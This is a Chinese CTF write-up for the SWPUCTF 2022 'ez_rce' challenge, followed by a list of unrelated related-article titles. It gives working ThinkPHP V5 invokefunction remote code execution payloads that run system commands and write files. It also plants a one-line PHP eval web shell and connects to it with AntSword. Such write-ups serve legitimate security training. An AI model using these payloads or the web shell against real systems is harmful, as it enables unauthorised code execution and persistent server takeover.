当前位置: 首页 > article >正文

[SWPUCTF 2022 新生赛]ez_rce

打开题目就在线环境,发现只有一句话:真的什么都没有吗
F12查看控制台和源代码也没发现任何信息,然后用虚拟机里面的dirsearch扫一下这个网站就能得到:
在这里插入图片描述
然后这里扫出来的结果查看的直接就是robots.txt,然后就能看到:
在这里插入图片描述
然后访问:/NSS/index.php/
在这里插入图片描述
这里直接搜索ThingkPHP V5就能得到这个漏洞复现的方法,我就是根据搜索到的帖子的漏洞复现方法跟着做的。

payload:?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

在这里插入图片描述

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

在这里插入图片描述
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php phpinfo(); ?>(将php代码写入shell.php)

在这里插入图片描述
再访问/NSS/shell.php
在这里插入图片描述
然后再
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[1]);?>(删除/shell.php替换)

在这里插入图片描述
最后蚁剑连接,网址:http://node5.anna.nssctf.cn:22775/NSS/shell.php
密码为1
最后flag的路径为:/nss/ctf/flag
在这里插入图片描述


http://www.kler.cn/a/563821.html

相关文章:

  • 京准电钟:NTP精密时钟服务器在自动化系统中的作用
  • 模型思维 - 领域模型的应用与解析
  • vue项目中动态添加类名样式不生效问题
  • django model.object.filter 不等于多个值
  • Redis7——基础篇(八)
  • 如何免费使用稳定的deepseek
  • 通义灵码2.0 AI 程序员体验:优化与问题解决的全过程
  • 千峰React:案例一
  • 【QT 一 | 信号和槽】
  • 技术分享:MyBatis 动态 SQL 的应用 <choose>, <when>, <otherwise>
  • 如何用python将pdf转为text并提取其中的图片
  • 细说STM32F407单片机RS485收发通信实例及调试方法
  • pycharm远程连接服务器运行pytorch
  • <02.26>Leetcode
  • 航旅纵横测试开发一面面经
  • PyTorch下三角矩阵生成函数torch.tril的深度解析
  • Python 高级特性-迭代器
  • 机器学习01
  • servlet相关
  • 【漫画机器学习系列】102.带泄露线性整流函数(Leaky ReLU)